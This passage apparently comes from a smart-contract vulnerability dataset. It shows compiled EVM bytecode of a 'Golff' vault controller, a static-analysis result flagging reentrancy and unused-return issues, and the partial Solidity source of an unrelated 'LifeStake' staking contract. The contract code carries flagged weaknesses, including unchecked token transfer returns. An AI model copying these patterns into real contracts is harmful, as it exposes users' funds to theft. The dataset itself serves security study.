fffffffffffffffffffffffffffffffffff169060200190929190505050611c1a565b6040518082815260200191505060405180910390f35b61057f6004803603604081101561053357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d03565b005b6105e36004803603604081101561059757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fa0565b005b610627600480360360208110156105fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061235d565b005b610631612463565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106d56004803603604081101561068957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612489565b604051808215151515815260200191505060405180910390f35b6107316004803603602081101561070557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124b8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107b56004803603602081101561078957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124eb565b005b610803600480360360408110156107cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506125f0565b005b61080d612957565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108b16004803603604081101561086557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061297d565b005b6108ff600480360360408110156108c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612ad8565b005b6109836004803603606081101561091757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c42565b005b6109e76004803603604081101561099b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e1c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a6b60048036036020811015610a3f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e5e565b005b610ab960048036036040811015610a8357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612f64565b005b610ac3613132565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b0d613158565b6040518082815260200191505060405180910390f35b610b6560048036036020811015610b3957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061315e565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c0f57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610d0057600080fd5b505afa158015610d14573d6000803e3d6000fd5b505050506040513d6020811015610d2a57600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff166351cff8d9846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610dbc57600080fd5b505af1158015610dd0573d6000803e3d6000fd5b5050505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e5357600080fd5b505afa158015610e67573d6000803e3d6000fd5b505050506040513d6020811015610e7d57600080fd5b8101908080519060200190929190505050905081811115611547576000610ead838361335e90919063ffffffff16565b905060008673ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015610ef757600080fd5b505afa158015610f0b573d6000803e3d6000fd5b505050506040513d6020811015610f2157600080fd5b81019080805190602001909291905050509050606060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610fb557600080fd5b505afa158015610fc9573d6000803e3d6000fd5b505050506040513d6020811015610fdf57600080fd5b81019080805190602001909291905050509550611040600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008a73ffffffffffffffffffffffffffffffffffffffff166133a89092919063ffffffff16565b61108d600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16858a73ffffffffffffffffffffffffffffffffffffffff166133a89092919063ffffffff16565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663085e2c5b8985878b60006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060006040518083038186803b15801561117957600080fd5b505afa15801561118d573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060408110156111b757600080fd5b8101908080519060200190929190805160405193929190846401000000008211156111e157600080fd5b838201915060208201858111156111f757600080fd5b825186602082028301116401000000008211171561121457600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561124b578082015181840152602081019050611230565b505050509050016040525050508093508192505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a7515e898587858760006040518763ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561136d578082015181840152602081019050611352565b50505050905001975050505050505050602060405180830381600087803b15801561139757600080fd5b505af11580156113ab573d6000803e3d6000fd5b505050506040513d60208110156113c157600080fd5b8101908080519060200190929190505050508273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561145057600080fd5b505afa158015611464573d6000803e3d6000fd5b505050506040513d602081101561147a57600080fd5b8101908080519060200190929190505050945085851115611542576114a8868661335e90919063ffffffff16565b935060006114d56127106114c7600954886135c890919063ffffffff16565b61364e90919063ffffffff16565b90506114f3846114ee838861335e90919063ffffffff16565b6125f0565b611540600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828673ffffffffffffffffffffffffffffffffffffffff166136989092919063ffffffff16565b505b505050505b5050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b8060098190555050565b61271081565b6000808373ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561197f57600080fd5b505afa158015611993573d6000803e3d6000fd5b505050506040513d60208110156119a957600080fd5b8101908080519060200190929190505050905060008573ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0457600080fd5b505afa158015611a18573d6000803e3d6000fd5b505050506040513d6020811015611a2e57600080fd5b81019080805190602001909291905050509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663085e2c5b8683858860006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060006040518083038186803b158015611b2d57600080fd5b505afa158015611b41573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506040811015611b6b57600080fd5b810190808051906020019092919080516040519392919084640100000000821115611b9557600080fd5b83820191506020820185811115611bab57600080fd5b8251866020820283011164010000000082111715611bc857600080fd5b8083526020830192505050908051906020019060200280838360005b83811015611bff578082015181840152602081019050611be4565b50505050905001604052505050508093505050509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663722713f76040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d6020811015611ceb57600080fd5b81019080805190602001909291905050509050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611dab57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611e1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a217374726174656769737400000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f476f6c66663a7661756c7400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061204857506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6120ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a217374726174656769737400000000000000000000000000000081525060200191505060405180910390fd5b60011515600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146121bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f476f6c66663a21617070726f766564000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146122da578073ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561229d57600080fd5b505af11580156122b1573d6000803e3d6000fd5b505050506040513d60208110156122c757600080fd5b8101908080519060200190929190505050505b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461241f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146125ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b15801561269c57600080fd5b505afa1580156126b0573d6000803e3d6000fd5b505050506040513d60208110156126c657600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146128c5576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506127d881858773ffffffffffffffffffffffffffffffffffffffff166136989092919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff1663def2489b846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561285757600080fd5b505af115801561286b573d6000803e3d6000fd5b505050506040513d602081101561288157600080fd5b810190808051906020019092919050505093506128bf83858473ffffffffffffffffffffffffffffffffffffffff166136989092919063ffffffff16565b506128f1565b6128f082848673ffffffffffffffffffffffffffffffffffffffff166136989092919063ffffffff16565b5b8173ffffffffffffffffffffffffffffffffffffffff1663d0e30db06040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561293957600080fd5b505af115801561294d573d6000803e3d6000fd5b5050505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b6001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612b8057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612bf2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b612c3e6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff166136989092919063ffffffff16565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612cea57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612d5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a217374726174656769737400000000000000000000000000000081525060200191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612f20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f476f6c66663a217661756c74000000000000000000000000000000000000000081525060200191505060405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561311657600080fd5b505af115801561312a573d6000803e3d6000fd5b505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061320657506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b613278576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f476f6c66663a21676f7665726e616e636500000000000000000000000000000081525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561331f57600080fd5b505af1158015613333573d6000803e3d6000fd5b505050506040513d602081101561334957600080fd5b81019080805190602001909291905050505050565b60006133a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613769565b905092915050565b60008114806134a2575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561346557600080fd5b505afa158015613479573d6000803e3d6000fd5b505050506040513d602081101561348f57600080fd5b8101908080519060200190929190505050145b6134f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180613bd16036913960400191505060405180910390fd5b6135c3838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613829565b505050565b6000808314156135db5760009050613648565b60008284029050828482816135ec57fe5b0414613643576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613b866021913960400191505060405180910390fd5b809150505b92915050565b600061369083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613a74565b905092915050565b613764838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613829565b505050565b6000838311158290613816576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156137db5780820151818401526020810190506137c0565b50505050905090810190601f1680156138085780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6138488273ffffffffffffffffffffffffffffffffffffffff16613b3a565b6138ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b6020831061390957805182526020820191506020810190506020830392506138e6565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461396b576040519150601f19603f3d011682016040523d82523d6000602084013e613970565b606091505b5091509150816139e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115613a6e57808060200190516020811015613a0757600080fd5b8101908080519060200190929190505050613a6d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ba7602a913960400191505060405180910390fd5b5b50505050565b60008083118290613b20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613ae5578082015181840152602081019050613aca565b50505050905090810190601f168015613b125780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613b2c57fe5b049050809150509392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015613b7c5750808214155b9250505091905056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a7231582091b5621b9ee7c92a536886b41c23c8202d546138b0b5641aafb120397389bbb464736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,230 |
0xd83f623a0a77e09dfc586b831012118bdf3b4141
|
pragma solidity ^0.8.10;
// SPDX-License-Identifier: MIT
contract LifeStake {
//constant
uint256 public constant percentDivider = 1_000;
uint256 public maxStake = 2_500_000_000;
uint256 public minStake = 10_000;
uint256 public totalStaked;
uint256 public currentStaked;
uint256 public TimeStep = 1 days;
//address
IERC20 public TOKEN;
address payable public Admin;
address payable public RewardAddress;
// structures
struct Stake {
uint256 StakePercent;
uint256 StakePeriod;
}
struct Staker {
uint256 Amount;
uint256 Claimed;
uint256 Claimable;
uint256 MaxClaimable;
uint256 TokenPerDay;
uint256 LastClaimTime;
uint256 UnStakeTime;
uint256 StakeTime;
}
Stake public StakeI;
Stake public StakeII;
Stake public StakeIII;
// mapping & array
mapping(address => Staker) private PlanI;
mapping(address => Staker) private PlanII;
mapping(address => Staker) private PlanIII;
modifier onlyAdmin() {
require(msg.sender == Admin, "Stake: Not an Admin");
_;
}
modifier validDepositId(uint256 _depositId) {
require(_depositId >= 1 && _depositId <= 3, "Invalid depositId");
_;
}
constructor(address _TOKEN) {
Admin = payable(msg.sender);
RewardAddress = payable(msg.sender);
TOKEN = IERC20(_TOKEN);
StakeI.StakePercent = 25;
StakeI.StakePeriod = 30 days;
StakeII.StakePercent = 175;
StakeII.StakePeriod = 180 days;
StakeIII.StakePercent = 390;
StakeIII.StakePeriod = 360 days;
maxStake = maxStake * (10**TOKEN.decimals());
minStake = minStake * (10**TOKEN.decimals());
}
receive() external payable {}
// to buy token during Stake time => for web3 use
function deposit(uint256 _depositId, uint256 _amount)
public
validDepositId(_depositId)
{
require(currentStaked <= maxStake, "MaxStake limit reached");
require(_amount >= minStake, "Deposit more than 10_000");
TOKEN.transferFrom(msg.sender, address(this), _amount);
totalStaked = totalStaked + (_amount);
currentStaked = currentStaked + (_amount);
if (_depositId == 1) {
PlanI[msg.sender].Claimable = calcRewards(msg.sender, _depositId);
PlanI[msg.sender].Amount = PlanI[msg.sender].Amount + (_amount);
PlanI[msg.sender].TokenPerDay = (
CalculatePerDay(
(((PlanI[msg.sender].Amount * (StakeI.StakePercent)) /
(percentDivider)) ) + calcRewards(msg.sender, _depositId),
StakeI.StakePeriod
)
);
PlanI[msg.sender].MaxClaimable =
((PlanI[msg.sender].Amount * (StakeI.StakePercent)) /
(percentDivider)) +
PlanI[msg.sender].Claimable;
PlanI[msg.sender].LastClaimTime = block.timestamp;
PlanI[msg.sender].StakeTime = block.timestamp;
PlanI[msg.sender].UnStakeTime =
block.timestamp +
(StakeI.StakePeriod);
PlanI[msg.sender].Claimed = 0;
} else if (_depositId == 2) {
PlanII[msg.sender].Claimable = calcRewards(msg.sender, _depositId);
PlanII[msg.sender].Amount = PlanII[msg.sender].Amount + (_amount);
PlanII[msg.sender].TokenPerDay = (
CalculatePerDay(
(((PlanII[msg.sender].Amount * (StakeII.StakePercent)) /
(percentDivider)) + calcRewards(msg.sender, _depositId)),
StakeII.StakePeriod
)
);
PlanII[msg.sender].MaxClaimable =
((PlanII[msg.sender].Amount * (StakeII.StakePercent)) /
(percentDivider)) +
PlanII[msg.sender].Claimable;
PlanII[msg.sender].LastClaimTime = block.timestamp;
PlanII[msg.sender].StakeTime = block.timestamp;
PlanII[msg.sender].UnStakeTime =
block.timestamp +
(StakeII.StakePeriod);
PlanII[msg.sender].Claimed = 0;
} else if (_depositId == 3) {
PlanIII[msg.sender].Claimable = calcRewards(msg.sender, _depositId);
PlanIII[msg.sender].Amount = PlanIII[msg.sender].Amount + (_amount);
PlanIII[msg.sender].TokenPerDay = (
CalculatePerDay(
(((PlanIII[msg.sender].Amount * (StakeIII.StakePercent)) /
(percentDivider)) ) + calcRewards(msg.sender, _depositId),
StakeIII.StakePeriod
)
);
PlanIII[msg.sender].MaxClaimable =
((PlanIII[msg.sender].Amount * (StakeIII.StakePercent)) /
(percentDivider)) +
PlanIII[msg.sender].Claimable;
PlanIII[msg.sender].LastClaimTime = block.timestamp;
PlanIII[msg.sender].StakeTime = block.timestamp;
PlanIII[msg.sender].UnStakeTime =
block.timestamp +
(StakeIII.StakePeriod);
PlanIII[msg.sender].Claimed = 0;
}
}
function extendLockup(uint256 _depositId)
public
validDepositId(_depositId)
{
require(currentStaked <= maxStake, "MaxStake limit reached");
totalStaked = totalStaked + (calcRewards(msg.sender, _depositId));
currentStaked = currentStaked + (calcRewards(msg.sender, _depositId));
